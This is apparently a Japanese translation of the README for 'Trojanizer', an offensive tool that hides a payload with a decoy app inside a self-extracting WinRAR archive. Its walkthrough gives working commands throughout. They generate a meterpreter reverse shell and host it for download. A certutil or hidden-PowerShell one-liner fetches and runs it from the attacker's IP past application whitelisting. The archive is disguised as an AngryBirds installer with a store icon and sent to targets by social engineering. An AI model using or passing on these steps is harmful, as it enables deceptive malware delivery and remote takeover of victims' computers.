
ペイロードのトロイの木馬化 - WinRAR (SFX) 自動化 - Linuxディストリビューション上
リリースバージョン : v1.1 (安定版)
著者 : pedro ubuntu [ r00t-3xp10it ]
コードネーム: Troia_Revisited
対応ディストリビューション : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam 開発 @2017
Trojanizer ツールは、ユーザーが入力した2つのファイルを WinRAR (SFX) で圧縮し、
SFX 実行可能 (.exe) アーカイブに変換します。sfx アーカイブが実行されると、
両方のファイル(ペイロードと正規アプリ)が同時に実行されます。
実行時にターゲットに対してアーカイブの疑念を減らすため、trojanizer は
sfx ファイルのデフォルトアイコン (.ico) をユーザーが選択したものに置き換え、
すべての SFX アーカイブサンドボックスメッセージを抑制します (Silent=1 | Overwrite=1)。
'Trojanizer はトロイの木馬を構築しませんが、ターゲットの視点からはトロイの木馬の動作を複製します'
(ペイロードをバックグラウンドで実行し、正規アプリケーションはフォアグラウンドで実行します)。
Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
"Trojanizer.sh は、必要な依存関係をすべてダウンロード/インストールします。"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
| 最初にツールを実行する前に、'settings' ファイル内のオプション SYSTEM_ARCH=[ your_sys_arch ] |
| を編集して設定することを推奨します。 |
╚────────────────────────────────────────────────────────────────────────────────────────────╝
Trojanizer v1.1-Stable
.exe | .bat | .vbs | .ps1
"Windows/SFX が自動的に抽出・実行できるすべてのペイロード"
ヒント: settings ファイルで 'SINGLE_EXEC=ON' を選択すると、
trojanizer は任意の拡張子の入力を受け付けます。
.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc ..
"Windows/SFX が自動的に抽出・実行できるすべてのアプリケーション"
╔─────────────────────────────────────────────────────────────────────────────────────────╗
| Trojanizer の「詳細オプション」は 'settings' ファイルからのみアクセス可能であり、 |
| メインツール (Trojanizer.sh) を実行する前に設定する必要があります。 |
╚─────────────────────────────────────────────────────────────────────────────────────────╝
-- プリセットアップ高度オプション
Trojanizer は、2つの圧縮ファイル (SFX アーカイブ) の抽出/実行前に、プログラム+コマンドを実行するように設定できます。
これにより、ユーザーはプリインストールされたソフトウェアを利用して、ターゲットシステムで実際の抽出が行われる前にリモートコマンドを実行できます。
有効な場合、trojanizer は (zenity サンドボックス経由で) 実行するコマンドを要求します。
Trojanizer v1.1-Stable
-- 単一ファイル実行
次のシナリオを考えてみましょう: 抽出時に実行する必要がある dll ペイロードを入力したいが、
SFX アーカイブは dll ファイルを直接実行できません。この設定により、ユーザーは
dll ペイロードを実行するために使用される1つのバッチスクリプト(.bat) を入力できます。
Trojanizer が行う必要があるのは、SFX アーカイブに両方のファイルを抽出させ、その後
script.bat を実行させることだけです。
Trojanizer v1.1-Stable
╔────────────────────────────────────────────────────────────────────────────────────────────────╗
| 単一ファイル実行スイッチのデフォルト動作は、ユーザーが入力した2つのファイルを圧縮しますが、 |
| 抽出時にはそのうちの1つだけを実行します (2番目に入力されたファイルが実行されます) .. |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| 多くの素晴らしい作業が多くの人々、特に @subTee によって、アプリケーションホワイトリストの回避に関して行われてきました。 |
| これは最終的にここで望んでいることです: Microsoft の組み込みバイナリを悪用して任意のコードを実行することです。 |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
以下の演習では、trojanizer の「単一ファイル実行」および「プリセットアップ」高度スイッチを使用して、
'certutil' または 'powershell' のアプリケーションホワイトリスト回避ワンライナーを使って、
任意のペイロードを (リモートダウンロードで) 投入して実行する方法を説明します。
1º - metasploit を使用してペイロードを作成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe
2º - payload.exe を apache2 のウェブルートにコピーし、サービスを開始
cp payload.exe /var/www/html/payload.exe
service apache2 start
3º - Trojanizer の 'settings' ファイルを編集し、以下を有効化
PRE_SETUP=ON
SINGLE_EXEC=ON
4º - trojanizer ツールを実行
PAYLOAD TO BE COMPRESSED => <path-to>/screenshot.png (圧縮するファイルは重要ではありません)
EXECUTE THIS FILE UPON EXTRACTION => <path-to>/AngryBirds.exe (デコイアプリとして実行)
PRESETUP SANDBOX => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
SFX FILENAME => AngryBirds_installer (作成される SFX アーカイブの名前)
REPLACE ICON => Windows-Store.ico OR Steam-logo.ico
5º - リスナーを起動し、ソーシャルエンジニアリングを使用して SFX アーカイブをターゲットに送信
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| SFX アーカイブが実行されると、apache2 ウェブサーバーから payload.exe をターゲットにダウンロードし、 |
| 'screenshot.png' と 'AngryBirds.exe' を抽出する前にそれを実行します (最後のファイルはデコイとして実行されます)。 |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
以下のワンライナーは、'powershell(Downloadfile+start)' メソッドを使用して、前述の 'certutil' の例と同じことを実現します。
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'
以下のワンライナーは、'powershell(IEX+downloadstring)' メソッドを使用してほぼ同じことを実現します (payload.ps1 はディスクに触れません)。
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"
1º - GitHub からフレームワークをダウンロード
git clone https://github.com/r00t-3xp10it/trojanizer.git
2º - ファイルに実行権限を設定
cd trojanizer
sudo chmod +x *.sh
3º - フレームワークを設定
nano settings
4º - メインツールを実行
sudo ./Trojanizer.sh
xsf.conf - 抽出時に両方のファイルを実行 (トロイの木馬動作)
Trojanizer v1.1-Stable
xsf.conf - 単一ファイル実行 + プリセットアップ (高度オプション)
Trojanizer v1.1-Stable
xsf.conf - 単一ファイル実行 + プリセットアップ + アプリケーションホワイトリスト回避 (certutil)
Trojanizer v1.1-Stable
xsf.conf - 単一ファイル実行 + プリセットアップ + アプリケーションホワイトリスト回避 (powershell IEX)
Trojanizer v1.1-Stable
アイコン変更後の最終 SFX アーカイブ
Trojanizer v1.1-Stable
SFX アーカイブ内部 (winrar で開く) - トロイの木馬動作
Trojanizer v1.1-Stable
SFX アーカイブ内部 (winrar で開く) - 単一ファイル実行
Trojanizer v1.1-Stable
Trojanizer - AVG アンチウイルス偽インストーラ (トロイの木馬動作)
https://www.youtube.com/watch?v=BIn6_ccZrI0
Trojanizer - 単一ファイル実行 (トロイの木馬動作ではない)
https://www.youtube.com/watch?v=Ze0JkVtKbns
@subTee | @enigma0x3 | @H4d3s (SSA)
参考資料:
http://acritum.com/software/manuals/winrar/
https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
https://github.com/r00t-3xp10it/trojanizer/issues